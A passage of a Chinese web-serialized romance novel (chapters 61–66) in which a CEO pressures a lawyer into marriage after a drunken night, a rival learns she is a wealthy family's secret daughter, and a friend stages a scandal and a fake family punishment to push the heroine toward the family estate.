哪怕强迫自己将所有的精力投入到工作中,可当她盯着电脑屏幕上的案卷资劳时,脑海中却不断地浮现出昨天晚上的混乱画面…… “老板……老板……” 陆奉归咋咋呼呼的声音由远及近,猛地推开办公室门,打断了她的胡思乱想。 明嫣被他吓了一跳,没好气地抬头,“跟你说了多少遍,稳重点……” 她的话音在看清跟在陆奉归身后的傅修沉时,戛然而止。 “!!!” 他怎么来了?! 而且…… 明嫣的眉头微皱——他脸上那明显的淤青是怎么回事?! 而此时的傅修沉迈着长腿,旁若无人地走进办公室,目光直直地落在明嫣身上,仿佛整个空间里只有她一个人。 陆奉归还在一旁兴奋地充当背景音,“傅总说有事找您,我就……” 明嫣深吸一口气,努力维持着镇定,“你先出去,把门带上。” “啊?哦,好,好的!”陆奉归虽然八卦之魂在燃烧,但察言观色的本事还是有的,连忙点头哈腰地退了出去,还贴心地关紧了门。 办公室里只剩下两人。 空气瞬间变得粘稠而微妙。 明嫣的视线不受控制地落在傅修沉颧骨和嘴角的淤青上,那伤痕在他冷峻的脸上显得格外刺眼。 “你的脸……”她几乎是脱口而出,只是刚脱口而出就后悔得恨不得咬掉自己的舌头。 傅修沉走到她办公桌对面,很自然地拉开椅子坐下,微微挑了挑眉,却因牵动了嘴角的伤口,几不可察地蹙了下眉,语气却带着几分漫不经心的调侃,“托某位大舅哥的福。” 明燃?! 明嫣的心猛地一沉。 大哥去找傅修沉了? 还动了手? “我哥他……”明嫣张了张嘴,想替明燃道歉,却又觉得无从说起,心底乱成一团麻。 傅修沉看着她脸上变换的神色,身体微微前倾,隔着一张办公桌,目光沉静却极具穿透力地锁住她。 “明律师,”他开口,声音低沉,带着一种奇异的磁性,“我脸上的伤,可以先放一放。我们现在来谈谈,关于你……吃完就想跑,不打算对我负责的问题?” “轰——!” 明嫣的脸颊瞬间爆红,像是熟透的番茄,连耳根和脖颈都染上了一层绯色。 他……他怎么能在办公室里,这么直白地说这种事?! “你……你胡说什么!”她又羞又急,下意识地看向紧闭的房门,生怕被外面的陆奉归听见,“谁……谁要对你负责了!那……那是个意外!” “意外?”傅修沉轻轻重复了一遍,唇角勾起一抹极淡的弧度,带着点说不清道不明的意味,“明律师,法律上讲求证据。人证……” 他指了指自己,“物证……” 他意有所指地抬手,指尖轻轻碰了碰自己脖颈上那个已经变成暗红色,但依旧清晰的咬痕,“可都还在。” 他看着明嫣恨不得钻进地缝里的模样,慢条斯理地补充道,“而且,我那可是第一次……就这么不清不楚地被你占了便宜,明律师却想翻脸不认账,是不是……太欺负人了?” 第一次?! 明嫣猛地抬头,撞进他看似认真又带着促狭的眼眸里,大脑再次宕机。 他傅修沉……怎么可能?! 可看他那副理直气壮又带着点控诉的模样,又不像是假的…… 巨大的信息量让她有些头晕目眩。 待回过神来,她几乎是条件反射地猛地从椅子上弹起来,绕过办公桌,冲到傅修沉面前,伸手就去捂他的嘴! “你闭嘴!不许胡说八道!”她的声音又急又低,带着气急败坏的慌乱。 她的手心贴在他微凉的薄唇上,能清晰地感受到他唇瓣的柔软和呼出的温热气息。 傅修沉似乎没料到她会直接上手,微微怔了一下,随即,眼底的笑意加深。 他非但没有躲开,反而就着她的手,轻轻在她掌心啄了一下。 “!!!” 明嫣像是被烫到一样,猛地缩回手,心跳如擂鼓,脸颊红得几乎要冒烟。 “傅修沉!”她瞪着傅修沉,压低声音,凶巴巴地道:“我警告你,别在这里胡说八道!那天晚上……那天晚上我喝醉了!什么都不记得了!就算……就算真的发生了什么,那也是意外!意外你懂吗?” 傅修沉看着她色厉内荏的模样,从善如流地点点头,“好,就算那是意外,是明律师酒后失德……” 明嫣:“……” 谁失德了?! 第62章 跟我结婚…… 明嫣气得想咬人,偏偏又反驳不了,只能瞪着一双水盈盈的眸子,又羞又恼地剜着他。 傅修沉眼底的笑意更深,却慢条斯理地话锋一转,“那么,我们换个角度。明律师,抛开个人名誉损失不谈,我们来谈谈……商业影响?” “商业影响?”明嫣被他这跳跃的思维弄得一愣,警惕地看着他,“这跟商业影响有什么关系?” 傅修沉微微后靠,修长的手指交叠放在膝上。 “明律师应该知道,跃华生物目前正处于Pre-IPO的关键阶段,估值近万亿,无数双眼睛盯着,任何一点风吹草动都可能影响市场信心和最终定价。” 他顿了顿,“作为跃华生物的创始人和首席执行官,我的个人形象,从某种意义上说,与公司形象深度绑定。” 他的语气变得有些深沉,“一个稳定、可靠、私生活严谨的领导者形象,对于投资者来说,至关重要。” 明嫣的心随着他的话语,一点点往下沉,隐隐觉得不妙。 傅修沉抬手,指尖轻轻点了点自己脖颈侧方那个已经变成暗红色的咬痕上,“可短时间内,我这脖子上……已经接连两次顶着这种引人遐想的‘蚊子包’出现在公司高管和重要投资人面前了。” 他微微蹙眉,“上次在京都,我勉强用‘蚊子咬的’搪塞过去,虽然没人信,但好歹维持了表面和平。这次这个……位置更刁钻,痕迹更重,恐怕再用这个借口是行不通了。” 他抬眸,目光沉静地看向已经有些傻眼的明嫣,“如果再有第三次,或者被某些别有用心的媒体拍到,加以渲染……‘跃华总裁私生活混乱,沉迷女色’之类的新闻一旦爆出,你觉得,会对跃华的上市估值,造成多大的影响?会让多少潜在投资者望而却步?” 明嫣彻底懵了。 她张了张嘴,却发现自己一个字也说不出来。 大脑像是被塞进了一团乱麻。 这怎么……怎么就上升到了影响万亿市值公司上市的高度了?! 这顶帽子扣下来,她感觉自己瞬间成了可能搞垮一个商业帝国的罪魁祸首! “我……我不是故意的……”她声音干涩,带着一丝连自己都没察觉的慌乱,“那天晚上我喝醉了……我……” “我知道明律师不是故意的。”傅修沉十分‘善解人意’地接过话头,“但后果,并不会为此而消失。商业世界,只看结果,不问缘由。” 他微微倾身,拉近了两人之间的距离,压低的声音带着一种蛊惑人心的磁性,“明律师,你说……这潜在的,可能高达数百亿甚至更多的市值损失,该怎么算?” 数百亿?! 明嫣只觉得眼前一黑,脚下一软,差点没站稳。 她这个小律所,拼死拼活干一辈子,估计连这个数字的零头都赚不到! 就算是偌大的明家,这数百亿也不是个小数目…… “那……那怎么办?有什么解决方案吗?”她看向傅修沉,眼眸里隐含期待和忐忑,“只要我能做到,一定配合。” 傅修沉重新靠回椅背,指尖在办公桌上轻轻敲击着,一副认真思考的模样。 办公室里安静下来,只有他指尖敲击桌面的笃笃声,像是敲在明嫣的心上。 过了好一会儿,就在明嫣紧张得手心都在冒汗时,傅修沉才终于抬起眼眸,目光深邃地锁住她,薄唇微启,吐出了石破天惊的几个字—— “解决方案倒是有……” 明嫣连忙追问,“是什么?” “跟我结婚。” “……” 时间,仿佛在这一刻被按下了暂停键。 明嫣瞪大了眼睛,嘴甚至怀疑自己的耳朵是不是出了什么问题,或者是因为昨晚宿醉还没清醒,产生了幻听。 结……结婚? 跟傅修沉?! 她是不是听错了?! 傅修沉看着她仿佛被雷劈中的表情,唇角几不可察地勾起一抹极淡的弧度,但却转纵即逝。 “这是目前我能想到的,解决这个问题最直接有效,也是……负面影响最小的方案。”他语气平稳,神色不变,仿佛在陈述一个再普通不过的商业并购案。 “负面影响最小?!”明嫣终于找回了自己的声音,因为震惊和荒谬,声调都不自觉地拔高了,“傅修沉!你知不知道你在说什么?!结婚?!就因为我……我不小心在你脖子上留了个印子?!” 她简直要气笑了,觉得这个男人是不是疯了! “不仅仅是一个印子的问题。”傅修沉耐心地解释,像是在给她分析利弊,“这是潜在的,持续性的形象危机。只有将我们的关系合法化、公开化,才能将之前的‘桃色新闻’定性为正常亲密,彻底堵住那些可能会借此生事的嘴。这对于稳定投资者情绪,维护公司形象,至关重要。” 他顿了顿,补充道,“而且,我们结婚后,你就是名正言顺的傅太太,之前的种种,都可以解释为情侣间的正常互动,不会再有任何负面解读。这对于跃华的IPO,有百利而无一害。” 明嫣听着他这一套一套的“商业逻辑”,只觉得脑子嗡嗡作响,一片混乱。 听起来……好像很有道理? 为了公司上市,商业联姻什么的,在圈子里也不算罕见…… 可是…… 怎么绕来绕去,好像还是他吃了大亏,勉为其难接受她负责一样?! 不对! 这完全不对! “你……你这是在讹诈!”明嫣猛地反应过来,气得脸颊通红,“凭什么你公司的形象危机,要我用婚姻来弥补?!这根本就是两码事!” “是吗?”傅修沉微微挑眉,眼神里带着一丝无辜,“可危机的源头,确实是明律师你一手造成的。难道明律师打算始乱终弃,不负责任,任由跃华和我独自承受可能到来的舆论风暴和商业损失吗?” 始乱终弃?! 不负责任?! 明嫣被他这几个词砸得头晕眼花,一口气差点没上来。 明明是他占了便宜,怎么现在反倒成了她是个玩弄别人感情不负责任的渣女了?! 这简直是强盗逻辑! “你……你强词夺理!”明嫣气得脸颊通红,连刚才那点心虚和罪孽感都被这股邪火冲散了,“我……我可以赔偿你!多少钱?你说个数!” 虽然她可能赔不起,但总比把自己赔进去强! 傅修沉闻言,轻轻笑了一声,那笑声低沉悦耳,却带着一种让明嫣毛骨悚然的从容。 “明律师觉得,跃华生物万亿估值,潜在的形象损失,是可以用金钱衡量的吗?”他慢条斯理地问道,“更何况,我看起来……很缺钱吗?” 明嫣:“……” 一句话,把她所有的退路都堵死了。 第63章 看在当年我救过你的份上 明嫣只觉得一阵天旋地转,世界观都被颠覆了。 是啊,傅修沉缺钱吗? 他缺的是她这点卖身……啊呸,赔偿款吗? 他缺的是一个能帮他稳定公司形象,堵住悠悠之口的‘傅太太’! 而她,好死不死地,因为两次‘意外’,成了那个最‘合适’的人选…… 明嫣看着眼前这个男人,第一次如此清晰地意识到,傅修沉这个男人,远比她想象的要危险得多,也……复杂得多。 他大哥没说错——这老狐狸不是什么好东西! 他提出的这个解决方案,简直称得上是荒诞离奇,甚至带着点趁火打劫的意味。 可偏偏,他用商业分析包装起来,让她一时之间竟然找不到强有力的理由去反驳。 难道……真的要…… 不! 绝对不行! 婚姻怎么能儿戏?! 怎么能因为这种莫名其妙的原因就…… “我……我需要时间考虑!”明嫣猛地后退一步,拉开与他的距离。 她需要冷静,需要好好想想这到底是怎么回事! 傅修沉对于她的反应似乎并不意外。 “可以。”他语气微微勾了勾唇,“我给你时间考虑。” 他缓缓站起身,高大的身影带来一股无形的压迫感,微微俯身,指尖轻轻拂过自己脖颈上的红痕,“希望在它彻底消失之前,给我你的答案。” 说完,他深深地看了她一眼,转身朝办公室外走去。 门被轻轻带上,发出“咔哒”一声轻响。 办公室里,只剩下明嫣一个人,呆立在原地。 阳光透过百叶窗的缝隙,在地板上投下斑驳的光影。 空气中,似乎还残留着男人身上那股清冽的木质香气。 她抬手捂住依旧发烫的脸颊,脑海里一片混乱。 跟傅修沉……结婚…… 他到底想干什么? 他那样的人,身边怎么可能缺女人? 怎么会因为一个意外,就提出结婚? 难道……他真的像大哥说的那样,另有所图? 图明家? 可傅家的根基和实力,远在明家之上…… 图她这个人? 这个念头一冒出来,明嫣自己都觉得可笑。 她甩了甩头,试图将那些乱七八糟的念头驱散出去,可傅修沉那句话却像魔音灌耳,反复在脑海里回荡。 那个痕迹…… 看样子,没个三五天恐怕消不下去。 也就是说,她只有三五天的考虑时间? 这算什么? 最后通牒吗?! 就在明嫣心乱如麻,对着电脑屏幕上的案卷资料一个字也看不进去的时候,办公室外突然传来一阵嘈杂的争执声—— “放开我!你们知道我是谁吗?敢拦我?!明嫣!你给我出来!” 是秦婉! 明嫣的眉头瞬间拧紧,心底涌起一股烦躁。 她今天真是流年不利,刚送走一个让她头疼的傅修沉,又来了一个胡搅蛮缠的秦婉! 她深吸一口气,拉开办公室门走了出去。 “明嫣!你终于舍得出来了?”秦婉一看到她,立刻扬起下巴,脸上满是讥诮和幸灾乐祸,“我还以为你躲在里面不敢见人了呢!” 明嫣冷冷地看着她,“秦小姐,这里是我的律所,不欢迎你。请你立刻离开。” “离开?”秦婉嗤笑一声,双臂环胸,“我可是特意过来看看你现在的惨状的!怎么样?费尽心机搜集了那么多所谓的‘证据’,结果呢?还不是竹篮打水一场空!我早就警告过你,可你偏偏不听,非要撞南墙,现在头破血流了,舒服了?” 明嫣看着她那副小人得志的嘴脸,心底的怒火反而奇异地平息了下来。 她向前一步,通身散发出的冷冽气场瞬间压过了秦婉的虚张声势。 “关于你涉嫌下药犯罪的案子,目前只是证据链出现了一些波折,并未结案,法律最终会给出公正的裁决,不是你在这里空口白牙就能定性的,所以,别在这儿发疯!” “你!”秦婉被她堵得脸色一白。 明嫣却不给她反驳的机会,继续冷声道:“最后,我奉劝你一句,多行不义必自毙。靠着歪门邪道,或许能得意一时,但绝不会得意一世。真相或许会迟到,但永远不会缺席。你好自为之。” 这番话条理清晰,字字诛心,如同一个个响亮的耳光,扇在秦婉脸上。 她气得浑身发抖,脸色一阵青一阵白,指着明嫣的鼻子,尖声骂道:“明嫣!你个贱人!你算什么东西?!也配来教训我?!” 她越说越激动,理智被怒火烧尽,扬起手就朝着明嫣的脸狠狠扇了过去! “老板!”陆奉归惊呼一声,想要上前阻拦,却已经来不及。 然而,那只挥到半空的手,却被人从斜刺里猛地一把攥住了手腕! 力道之大,捏得秦婉腕骨生疼! “啊!”秦婉痛呼一声,下意识地回头,当看清抓住她手腕的人时,脸上瞬间露出了惊喜交加的表情,“寒山?!你……你是来找我的吗?” 来人正是霍寒山。 他脸色阴沉,下颌线绷得极紧,眼神冰冷地扫了秦婉一眼,猛地甩开秦婉的手,力道之大,让秦婉踉跄着倒退了好几步,差点摔倒。 “秦婉,”霍寒山的声音冷硬得像淬了冰,“我记得我警告过你,不要再出现在明嫣面前,更不要来找她的麻烦。” 秦婉难以置信地看着他,眼泪瞬间涌了上来,“霍寒山!你怎么能这么对我?!我们从小一起长大,我妈妈还救过你的命!你为了这个贱人……” “闭嘴!”霍寒山额角青筋一跳,声音陡然拔高,“不要再提秦姨!更不要再用所谓的‘恩情’来绑架我!滚!” 最后那个“滚”字,如同惊雷炸响在秦婉耳边。 她看着霍寒山的眼睛,终于意识到,他是认真的。 巨大的屈辱感和恐慌让她浑身发冷,她死死地瞪了明嫣一眼,眼神怨毒得像淬了毒的刀子。 “明嫣!你给我等着!我不会就这么算了的!我们走着瞧!” 撂下这句色厉内荏的狠话,秦婉再也待不下去,捂着脸,哭着冲出了律所。 一场闹剧,暂时落幕。 律所里恢复了安静,但气氛却更加微妙。 “霍律师,麻烦已经解决了,如果没有其他的事,你可以离开了。”她语气冷淡,直接下了逐客令。 霍寒山看着她冷漠的侧脸,心脏像是被无数细针狠狠扎刺,传来一阵尖锐的疼痛。 他知道自己没有资格站在这里,更没有资格祈求她的原谅。 可是……他放不下。 他向前一步,声音干涩沙哑,“明嫣,我们……能谈谈吗?” “我们之间没什么好谈的。”明嫣转过身,不想看他。 “就五分钟。” 霍寒山的的嗓音微顿,“看在……看在当年我救过你的份上。” 第64章 她是傅家千金小姐(加更) 明嫣的身体几不可见地僵硬了一瞬。 她缓缓转过身,目光复杂地看着霍寒山。 她可以恨霍寒山的冷漠,可以怨他的偏袒,可以彻底将他从自己的世界里清除。 唯独对于那份‘救命之恩’,她无法做到全然硬起心肠。 那是支撑了她整整五年的信仰和光。 哪怕这光如今已经变得冰冷刺骨,但那份最初的感激,依旧存在。 她闭了闭眼,再睁开时,眼底只剩下一片疲惫的无奈。 “霍寒山,你到底想怎么样?” 霍寒山看着她终于肯正眼看向自己,心脏像是被一只无形的手狠狠攥住,痛得他几乎无法呼吸。 他知道自己卑鄙,无耻。 利用一个他根本不配拥有的恩情,来绑架她,束缚她。 他从来没有像现在这样厌恶过自己。 可是……他别无选择。 只要能把明嫣留在身边,哪怕多一秒,让他做什么都可以…… 哪怕是继续扮演那个他偷来的角色。 “我知道……我以前做得不好……辜负了你的……心意。”霍寒山的声音干涩沙哑,每一个字都像是从喉咙里硬挤出来的,“但是……看在我当年救过你的份上……再给我一次机会……让我弥补……好不好?” 他几乎是用尽了全身的力气,才说出了这番话。 理性在疯狂叫嚣着停止,告诉他这是在饮鸩止渴,是在将她推得更远。 可情感…… 那陌生而汹涌的情感,却像失控的野兽,拖拽着他走向这万劫不复的深渊。 他死死地盯着明嫣,像是在等待最后的审判。 明嫣看着他眼中那近乎卑微的乞求,心里像是打翻了五味瓶。 她深吸一口气,压下心头的烦躁,“霍寒山,救命之恩,我很感激。但这和感情是两码事。过去的事,就让它过去吧。我们都应该向前看。” 她顿了顿,“你的弥补,我不需要。我只希望……我们以后,能做回普通的同行,各自安好。” 说完,她不再看霍寒山瞬间灰败下去的脸色,转身走进了办公室,关上了门。 霍寒山僵在原地,像是被施了定身咒。 五脏六腑都传来尖锐的疼痛。 她不要他的弥补。 甚至……连他无耻地搬出救命之恩都没有用。 各自安好…… “嗬……”他发出一声破碎的呜咽,抬手死死按住剧痛的心脏,踉跄着后退,背靠着冰冷的墙壁,才勉强支撑住摇摇欲坠的身体。 他该怎么办? 到底该怎么办,才能让她回到他身边? …… 而另一边,秦婉哭着冲出了嫣然律所。 她不明白,为什么霍寒山会变得这么绝情! 为什么所有人都护着明嫣那个贱人! 她要报仇! 她要让明嫣那个贱人付出代价! 她拦了辆出租车,直接报了她和母亲秦晓林暂时落脚的公寓地址。 车子很快抵达。 秦婉付了钱,红着眼睛,拿出备用钥匙,直接打开了公寓门。 她带着哭腔喊了一声:“妈!” 没有人回应。 她疑惑地皱了皱眉,下意识地朝着二楼主卧的方向走去。 主卧的门紧闭着。 就在她准备抬手敲门时,里面却隐约传出了……一些不同寻常的声响。 像是……压抑的喘息,和肉体碰撞的细微声音…… 秦婉的心猛地一跳,她屏住呼吸,悄悄将耳朵贴在了门板上—— “……死鬼……轻点……嗯……” 是母亲秦晓林的声音! 带着她从未听过的娇媚和放浪! “怎么?刚才不是还嫌我不够用力?现在知道求饶了?”一个男人的调笑声紧接着响起。 秦婉如遭雷击,僵在原地,大脑一片空白。 就在这时,里面的动静似乎停了下来。 秦婉吓得魂飞魄散,下意识地想躲,却已经来不及了。 卧室门被人从里面猛地拉开! 只见男人随意披着一件睡袍,腰带松松垮垮地系着,露出精壮的胸膛,脸上还带着未褪尽的汗珠。 当他看到的秦婉时,先是愣了一下,随即,脸上非但没有丝毫被撞破的惊慌,反而微微勾了勾唇。 “哟,是婉儿啊。”男人的语气带着一种让人不适的亲昵,“怎么?找妈妈有事?” 这个人…… 秦婉的瞳孔骤然收缩! 是……是傅承平?! 傅修沉的二叔! 他和妈妈…… 而此时的秦晓林也匆忙裹着睡袍跟了出来,看到门口的秦婉,脸色微变,“婉儿?!你……你怎么来了?!” 秦婉看着眼前这对衣衫不整的男女,看着母亲脸上那掩饰不住的慌乱和心虚,哪里能不明白发生了什么…… 傅承平打量着秦婉那张与秦晓林年轻时颇有几分相似,却更显娇艳的脸,笑了笑,“既然撞见了,那也没什么好瞒的了。” 他往前一步,目光居高临下地落在秦婉身上,“婉儿,叫爸爸。” “……” 秦婉猛地瞪大了眼睛,像是听到了什么天方夜谭,嘴唇哆嗦着,一个字也说不出来。 爸……爸爸? 傅承平……是她的……亲生父亲吗?! 这怎么可能?! 秦晓林急得直跺脚,想要阻止,“承平!你胡说什么!” 傅承平瞥了她一眼,“婉儿是我傅承平的女儿,是傅家的血脉。以前是委屈你们母女了,以后……我会补偿你们的。” 傅家的血脉…… 傅家的千金大小姐…… 这几个字像是有魔力,瞬间冲散了秦婉所有的震惊、屈辱和愤怒,取而代之的是一种难以言喻的狂喜和巨大的虚荣感! 她……她竟然是傅家的女儿?! 那个跺跺脚整个商界都要震三震的傅家?! 那她岂不是……成了傅修沉的……妹妹?! 不,不对。 傅修沉是傅家长房长孙,她是二房的女儿…… 但这并不妨碍她成为真正的豪门千金! 之前所有的委屈不甘,在这一刻仿佛都找到了宣泄的出口! 她就知道! 她秦婉生来就该是人上人! 就该享受最好的一切! 什么明嫣! 她算个什么东西?! 看着女儿脸上迅速变换,秦晓林心里咯噔一下,连忙上前拉住她的手,压低声音,急切地嘱咐:“婉儿!这件事非同小可!你千万不能声张!听到没有?!” 傅承平也收敛了笑容,语气严肃了几分,“你妈妈说得对。傅家的情况比你想象的要复杂。在爸爸没有完全掌控局面之前,你的身份必须保密,否则……可能会给我们所有人都带来灭顶之灾!” 然而,此刻已经被‘傅家千金’这个身份冲昏头脑的秦婉,哪里听得进这些警告。 她是傅家的血脉! 是名正言顺的傅家小姐! 凭什么要藏着掖着?! 她应该光明正大地回到傅家,享受她本该拥有的一切! 让那些曾经看不起她的人,都跪在她脚下颤抖! 尤其是明嫣! 她一定要让那个贱人,为今天对她的羞辱,付出千百倍的代价! 第65章 恋情曝光! 夜色深沉。 烟雨江南,顶层最奢华的包厢。 许宴清被一群衣着光鲜的阔少们众星拱月般围在中间,他懒散地靠在沙发上,晃着手中的威士忌,唇角挂着玩世不恭的笑,听着周围人的奉承和八卦。 直到包厢门被侍应生推开,一道挺拔冷峻的身影迈入。 喧闹声瞬间低了下去,所有人的目光都不由自主地投向来人,带着敬畏和讨好。 “傅少!” 此起彼伏的招呼声响起,带着显而易见的恭敬和讨好。 傅修沉只穿着一件简单的黑色衬衫,领口随意地解开两颗扣子,袖口挽到手肘,露出线条流畅的小臂和腕间的银色腕表。 他神色淡漠,对着众人微微颔首,算是打过招呼,通身那股疏离冷冽的气场与包厢里热情谄媚的氛围格格不入。 他径直走向角落相对安静的位置,立刻有人识趣地让出空间。 许宴清见状,咧嘴一笑,端着酒杯晃了过去,一屁股坐在傅修沉身边,胳膊熟稔地搭上他的肩膀。 “哟,咱们傅大公子可算来了,还以为你又被哪个小妖精绊住脚了呢!”许宴清凑近,压低声音,语气里的八卦意味毫不掩饰。 傅修沉没什么表情地拂开他的胳膊,拿起桌上一个干净的酒杯,自顾自地倒了杯酒,没接话。 许宴清也不在意,目光在傅修沉身上扫视,当视线落在他脖颈侧方那抹虽然淡了不少,但仔细看依旧能分辨出的暧昧红痕时,眼睛瞬间亮得像探照灯。 “卧槽!”许宴清用手肘撞了撞他,挤眉弄眼,声音压得更低,“可以啊兄弟!这战况……够激烈的啊!快跟哥们儿说说,跟明家那小美人儿发展到哪一步了?本垒打了?啧啧,这痕迹,够野的啊!” 傅修沉端起酒杯抿了一口,喉结滚动,侧脸线条在昏暗光线下显得有些冷硬。 他瞥了许宴清一眼,眼神没什么温度,“少打听。” “嘿!跟我还保密?”许宴清不满地嚷嚷,随即撇了撇嘴,“我说傅少,不是兄弟说你,喜欢就上啊!直接拿下!以你的条件,哪个女人能扛得住?用得着这么小心翼翼跟供着祖宗似的?” 傅修沉晃着酒杯,看着里面晃动的液体,眸光深邃难辨,“她不一样。” “有什么不一样的?不都是女人嘛!”许宴清急了,像是听到了什么天方夜谭,“不是吧?傅修沉!你玩纯情啊?这都煮成熟饭了,你还跟她客气什么?直接拿下啊!夜长梦多懂不懂?” 他越说越急,“你暗恋人家十年,好不容易等到她跟姓霍的分了,现在又近水楼台,你还等什么?等她反应过来,或者被那个阴魂不散的霍寒山再缠上?” 见傅修沉依旧无动于衷,甚至眼神里带着警告让他闭嘴,许宴清气得直翻白眼。 得! 皇帝不急太监急! 他跟傅修沉自小一起长大,没有人比他更改了解他。 这人看着冷清,可一旦认定了谁,那是真的能把人放在心尖上,舍不得让对方受半点委屈。 劝不动,根本劝不动! 许宴清心里那股邪火蹭蹭往上冒,他仰头将杯中酒一饮而尽,眼底闪过一丝寒光—— 好! 既然傅修沉下不了狠心。 那这个恶人,他来当! …… 第二天,明嫣是顶着两个浓重的黑眼圈走进律所的。 她一夜辗转反侧,心乱如麻,各种念头交织碰撞,让她几乎彻夜未眠,连灌了两杯黑咖啡都压不下那股烦躁和……心虚。 “老板,你没事吧?脸色这么差?”陆奉归抱着文件进来,看到她憔悴的样子吓了一跳。 “没事,昨晚没睡好。”明嫣揉了揉太阳穴,强迫自己集中精神,“案卷整理得怎么样了?” “都在这儿了……”陆奉归将文件放下,眼神却有些躲闪,欲言又止。 “怎么了?吞吞吐吐的。”明嫣蹙眉。 “那个……老板,你看今天的财经新闻了吗?”陆奉归小心翼翼地将一份刚送来的江南本地财经报纸,放到了明嫣的办公桌上。 明嫣疑惑地低头看去—— 只见报纸头版头条,用极其醒目的大字标题写着:【跃华生物Pre-IPO前夕,总裁陷桃色风波,与神秘女子夜会,公司形象受损?】 旁边配着一张角度刁钻却无比清晰的照片—— 正是那天她在学术交流会上被秦婉下药,傅修沉将她打横抱进车里的瞬间! 照片里,她整个人被傅修沉的西装裹着,只露出一段纤细的小腿和模糊的侧脸。 而傅修沉却恰好拍到了正脸! 文章内容更是极尽渲染之能事,什么‘跃华生物创始人夜会美女,共度春宵’,什么‘跃华形象大跌,股价震荡’…… 甚至隐晦地暗示跃华总裁私生活不检点,可能影响公司稳健形象,为即将到来的IPO蒙上阴影…… 明嫣的大脑一片空白,耳边嗡嗡作响。 她想起傅修沉昨天在办公室里,一脸严肃地跟她分析形象危机,说什么潜在市值损失数百亿…… 当时她觉得荒谬,觉得他在讹诈。 可现在…… 新闻是真的! 照片是真的! 潜在的危机…… 也成了真的! 明嫣拿着报纸的手,控制不住地微微颤抖,指尖冰凉。 大脑“嗡”的一声,一片空白。 怎么会…… 这张照片怎么会流出去?! 还偏偏是在这个节骨眼上! “老板……老板你没事吧?”陆奉归看着她瞬间煞白的脸色,担心地问道。 明嫣猛地回过神,放下报纸,几乎是扑到电脑前,颤抖着手打开财经网站和社交媒体。 果然! 【跃华总裁傅修沉深夜密会神秘女郎,疑似新恋情曝光?】 【Pre-IPO关键期,掌门人陷桃色新闻,跃华生物股价开盘波动!】 各种标题触目惊心,配图都是那张该死的照片! 评论区更是炸开了锅,有八卦看戏的,有质疑傅修沉人品的,有担心跃华上市前景的,当然,也少不了水军带节奏,将“私生活混乱”、“德不配位”的帽子拼命往傅修沉头上扣。 明嫣甚至看到了实时股价——跃华生物的股价,在开盘后果然出现了明显的波动和下跌! 虽然幅度还不算灾难性,但趋势已经足够让人心惊肉跳! 傅修沉昨天说的话,言犹在耳—— 【你觉得,会对跃华的上市估值,造成多大的影响?会让多少潜在投资者望而却步?】 【潜在的,可能高达数百亿甚至更多的市值损失……】 当时她觉得是天方夜谭,是危言耸听。 可现在…… 报纸白纸黑字,屏幕上跳动的绿色数字,都在冰冷地告诉她——傅修沉没有开玩笑! 第66章 家法! 明嫣皱了皱眉头——都是因为她…… 如果不是她那天晚上被下药,如果不是傅修沉恰好出现救了她,如果不是…… 怎么会被人拍到这种照片?! 怎么会引发这样的舆论风暴?! 怎么会连累跃华生物股价下跌?! 她死死地攥紧了拳头,指甲深深陷进掌心,却感觉不到丝毫疼痛。 就在这时,她的手机疯狂震动起来。 屏幕上跳跃着一个陌生的本地号码。 明嫣压根没心思去接,直到对方打进来三四遍,她这才心神不宁地接起。 “喂?” “明小姐吗?我是许宴清……” 许宴清? 傅修沉的那个朋友? “许少?有什么事吗?” “明小姐,看新闻了吗?”许宴清的语气听起来很焦急,“出大事了!” 明嫣的心猛地一沉,“……看到了。” “也不知道是哪个杀千刀的偷拍了照片还卖给媒体!现在所有人都在看跃华和傅家的笑话!”许宴清语速飞快,“股价跌了还是小事,关键是傅家老爷子那边!” “老爷子动了真怒,说要动家法!傅家的家法你怕是没听说过,那可不是闹着玩的!几十斤重的钢鞭沾了盐水往身上抽,上次有个旁支的子弟犯了错,三鞭下去差点没命!” “什么?!”明嫣猛地站起身,声音都变了调,“家法?!怎么会……” “怎么不会?傅家最重门风!老爷子眼里揉不得沙子!”许宴清语气沉痛,“我也是刚得到的消息,傅少已经被押回老宅了!我现在人在外地赶不回去,明小姐,现在能救他的恐怕只有你了!” “我?我能做什么?”明嫣彻底慌了神,脑子里乱成一团浆糊。 “你去京都!去傅家老宅!当着老爷子的面把话说清楚!”许宴清急切地道,“你就说……就说你和老傅是正经谈恋爱,是奔着结婚去的!那天晚上是个意外,但你们是两情相悦!只要老爷子信了,这顿家法或许就能免了!” “可是……” “别可是了!再晚就来不及了!”许宴清打断她,“机票我已经帮你订好了,最近的一班航班,一个小时后就起飞!车就在你律所楼下,你现在立刻下楼,司机会直接送你去机场!” 明嫣被这接连而来的消息砸懵了,让她失去了平时的冷静和判断。 “好……” 她放下手机,手脚冰凉,也顾不上收拾什么,抓起包和手机就对陆奉归仓促交代了几句便冲出了律所。 陆奉归看着她仓皇离去的背影,又看了看电脑屏幕上那些刺眼的新闻标题,挠了挠头,总觉得哪里怪怪的,但又说不上来…… …… 而与此同时,京都,傅家老宅。 古色古香的书房里,傅老爷子端坐在太师椅上,手里拄着紫檀木拐杖,脸色阴沉,花白的眉毛紧紧拧着,确实动了怒。 “混账东西!你看看你干的好事!跃华正是关键时候,你给我闹出这种桃色新闻!股价一天之内蒸发上亿!傅家的脸都让你丢尽了!” 而他对面,傅修沉却老神在在地坐在一张太师椅上,姿态甚至称得上慵懒。 他换了一身舒适的深灰色家居服,额前的碎发随意垂落,遮住了部分眉眼,显得没那么有攻击性。 对于老爷子的暴怒,他仿佛充耳不闻,修长的手指漫不经心地滑动着手机屏幕,不知道在看什么,连眼皮都懒得抬一下。 这副油盐不进的模样,更是火上浇油,把傅老爷子气得吹胡子瞪眼,拐杖敲得震天响,“我跟你说话呢!你听见没有?!” 就在这时,傅修沉的手机屏幕亮了一下,是许宴清发来的信息,最后还附了一张照片。 傅修沉的目光在照片上停留了足足三秒。 然后猛地从椅子上站了起来! “你……你干什么?!”傅老爷子被他这突如其来的动作吓了一跳,举着的拐杖都忘了落下。 傅修沉没理会他,扭头看向侍立在一旁,同样一脸错愕的管家福伯,声音冷静得没有一丝波澜:“福伯,去取家法。” “啊?”福伯直接懵了,以为自己听错了。 傅老爷子也愣住了,随即勃然大怒,“你这臭小子!你想干什么?!我说你几句,你还想对我用家法不成?!反了你了!” 福伯也反应过来,连忙上前一步,苦口婆心地劝道:“少爷!使不得啊!老爷子也是一时气话,他不是故意的,您千万别……” “去取!”傅修沉冷声打断他,眼神锐利如刀, 福伯被他眼神中的厉色慑住,下意识地应了声“是”,转身快步走出了书房。 